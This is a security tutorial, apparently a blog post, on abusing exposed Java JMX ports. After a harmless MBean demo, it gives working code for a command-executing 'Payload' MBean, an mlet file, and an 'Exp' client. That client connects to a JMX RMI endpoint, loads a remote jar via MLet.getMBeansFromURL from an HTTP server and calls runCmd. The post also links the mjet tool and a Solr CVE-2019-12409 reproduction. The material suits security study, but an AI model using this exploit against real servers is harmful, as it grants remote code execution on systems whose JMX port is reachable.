[JAVA security in the pit] Where? Come in and see how to attack JMX

Preface

In this chapter, let’s talk about the security issues of JMX. The content is relatively simple. Of course, we will give a few related cases.

Introduction to JMX

JMX (Java Management Extensions) is a framework that embeds management functions for applications, devices, systems, etc. With a narrow understanding, we can manage and monitor our java programs through JMX . But not all java programs can be managed, only java through a specific implementation can be managed, this specific implementation mechanism is Mbean.

As mentioned above, using JMX we can control specific java programs on the server side, which java programs can be controlled specifically, and how do we control them? Let's use some small demos to illustrate. A java program that can be controlled by JMX is called MBean. Next we implement an MBean

MBean writing and control

Every MBean needs to implement an interface, and the naming of this interface is exquisite and must end with MBean. For example, I will write a GirlFriendMBean interface:

import javax.management.DynamicMBean;

public interface GirlFriendMBean {
    
    
    String name = "";
    public void setName(String name);
    public String getName();
    public void sayHello();
}

Then we need to implement this MBean. Similarly, the naming of this implementation is also exquisite, that is, to remove the MBean suffix of the corresponding interface:

import javax.management.DynamicMBean;

public class GirlFriend implements GirlFriendMBean{
    
    
    String name;

    public GirlFriend(String name) {
    
    
        this.name = name;
    }

    public GirlFriend(){
    
    
        this.name = "Angel";
    }
    @Override
    public void setName(String name) {
    
    
        this.name = name;
    }

    @Override
    public String getName() {
    
    
        return this.name;
    }

    @Override
    public void sayHello() {
    
    
        System.out.println("Hello sweet, I am yours");
    }
}

Now that MBeans are implemented, if they can be controlled and accessed by remote clients, they need to be bound to MBeanServer. The specific implementation code is as follows:

import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    
    
    public static void main(String[] args) throws MalformedObjectNameException, NotCompliantMBeanException, InstanceAlreadyExistsException, MBeanRegistrationException, IOException {
    
    
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        System.out.println("Register bean...");
        // 实例化一个MBean
        GirlFriendMBean girlFriend = new GirlFriend();
        ObjectName objectName = new ObjectName("JMXGirl:name=girlFriend");
        // 绑定到MBeanServer
        mBeanServer.registerMBean(girlFriend, objectName);
        // 创建一个rmi registry
        Registry registry = LocateRegistry.createRegistry(1099);
        // 构造JMXServiceURL
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
        // 构造JMXConnectorServer
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is ready...");
    }
}

Run Server:

Insert picture description here

Then we can use the jconsole tool that comes with jdk to access the jmx server, in the bin directory of jdk, run jconsole, the heavenly address localhost:1099 can be directly accessed, you can see the JMXGril we implemented

Insert picture description here

We can use jconsole to call the method of JMXGirl, or set its properties, I call its sayHello method, the effect is as follows:

Insert picture description here

Remote MBean registration

The demo above shows that the MBean and JMX Server are on the same host. JMX also provides a mechanism to bind MBeans on other hosts to other MBean Servers. Another file mlet is needed. Let's take a look at the implementation method together:

Note: The following code is quoted from https://www.anquanke.com/post/id/194126

public interface PayloadMBean {
    
    

    public String runCmd(String cmd) throws IOException, InterruptedException;

}
public class Payload implements PayloadMBean {
    
    

    @Override

    public String runCmd(String cmd) throws IOException, InterruptedException {
    
    



        Runtime runtime = Runtime.getRuntime();

        Process process = runtime.exec(cmd);

        BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));

        BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));



        String stdout_data = "";

        String strtmp;

        while ((strtmp = stdInput.readLine()) != null) {
    
    

            stdout_data += strtmp + "\n";

        }

        while ((strtmp = stdError.readLine()) != null) {
    
    

            stdout_data += strtmp + "\n";

        }

        process.waitFor();

        return stdout_data;

    }

}

We package the above code into a jar package, and refer to the jar package in idea: https://blog.csdn.net/nopotential/article/details/79018471

Then we need to write a file called mlet:

<HTML><mlet code=Payload archive=JMX_Demo2.jar name=MLetCompromise1:name=Payload,id=12></mlet></HTML>

Put the mlet file and the jar package you just created in the same Web directory. Here, we can use python2 to simply build an http server, just run the following command:, the
python -m SimpleHTTPServerspecific Baidu

Then we have an MBean, and we need an MBeanServer. The implementation of the MBean Server this time is not much different from the previous one, except that the bound MBean is remote. For details, see the code:

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.loading.MLet;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteMbean {
    
    



    public static void main(String[] args){
    
    

        try{
    
    



            MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();

            //---------------------------------------------

            //remote mbean

            System.out.println("Register MLet bean...");

            MLet mLet = new MLet();

            ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet");

            mBeanServer.registerMBean(mLet, objectNameMLet);

            //mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet");

            //-----------------------------------------------------------------

            //mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()});



            //这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer

            Registry registry = LocateRegistry.createRegistry(1099);

            //构造JMXServiceURL

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");

            //创建JMXConnectorServer

            JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);

            //启动

            jmxConnectorServer.start();

            System.out.println("JMXConnectorServer is running");



        }catch (Exception e){
    
    

            e.printStackTrace();

        }

    }

}

You can see that there is a method getMBeansFromURL in the comment. This method is the key to binding the remote class. We can use the address of the mlet as its parameter, and then when this method is called, the jar specified in the mlet file will be loaded remotely. file. This method does not need to be called directly in the code, we can call it in jconsole later. Now run this Server, and then still use jconsole to connect to the Server:

Call MLet's getMBeansFromURL, the parameter is the address of the mlet file

Insert picture description here

Then you will find that there is an additional class in the window. This class is a remote class. We can execute his runCmd method to play a calculator:

Insert picture description here

Control the remote loading of MBeans on the jmx server

The above demo is to load remote MBeans implemented locally on the jmx server. The danger of jmx is that we can control this process on the client side. That is, as long as a host has opened the jmx server port, we can load remote malicious classes on the server side by writing code by ourselves or using ready-made tools.

Write your own code, the code also quotes others:

import javax.management.InstanceAlreadyExistsException;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.openmbean.SimpleType;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.util.HashSet;
import java.util.Iterator;


public class Exp {
    
    
    public static void main(String[] args){
    
    
        connectAndCmd("localhost", "1099", "calc.exe");
    }

    static void connectAndCmd(String serverName, String port, String command){
    
    

        try{
    
    

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");

//            System.out.println("URL: " + jmxServiceURL + ", connecting");

            JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);

//            System.out.println("Connected: " + jmxConnector.getConnectionId());

            MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();

            ObjectInstance evil_bean = null;

//            try{
    
    
//
//                evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME));
//
//            }catch (Exception e){
    
    
//
//                evil_bean = null;
//
//            }

            if(evil_bean == null){
    
    

                System.out.println("Trying to create bean...");

                ObjectInstance evilObject = null;

                try{
    
    

                    evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);

                }catch (InstanceAlreadyExistsException e){
    
    

                    evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));

                }

                System.out.println("Load " + evilObject.getClassName());

                //调用getMBeansFromURL从远程服务器获取 MBean

                //加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。

                //MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。

                Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",

                        new Object[] {
    
    String.format("http://127.0.0.1:8000/mlet", InetAddress.getLocalHost().getHostAddress()) },

                        new String[] {
    
    String.class.getName()}

                );

                HashSet hashSet = (HashSet)res;

                Iterator iterator = hashSet.iterator();

                Object nextObject = iterator.next();

                if(nextObject instanceof Exception){
    
    

                    throw ((Exception)nextObject);

                }

                evil_bean = ((ObjectInstance)nextObject);

            }

            //调用恶意 MBean 中用于执行命令的函数

            System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());

            System.out.println("Calling runCommand with: " + command);

            Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{
    
    command}, new String[]{
    
    String.class.getName()});

            System.out.println("Result: " + result);

        }catch (Exception e){
    
    

            e.printStackTrace();

        }

    }

}

Of course, is it not good to use ready-made tools? Personally, I think this jython version of mjet is very easy to use: https://github.com/mogwailabs/mjet

Case

This is a vulnerability caused by an apache solr jmx configuration error that broke out recently (in fact, the jmx port is opened by default)

I put this article in another project, just a simple reproduction:

https://github.com/Maskhe/vuls/tree/master/apache_solr/cve-2019-12409

other

The security problem of jmx is not complicated, mainly because the jmx port is opened to the outside world, so just take it as simple as that, see you~

Insert picture description here

Guess you like

Origin blog.csdn.net/he_and/article/details/106200092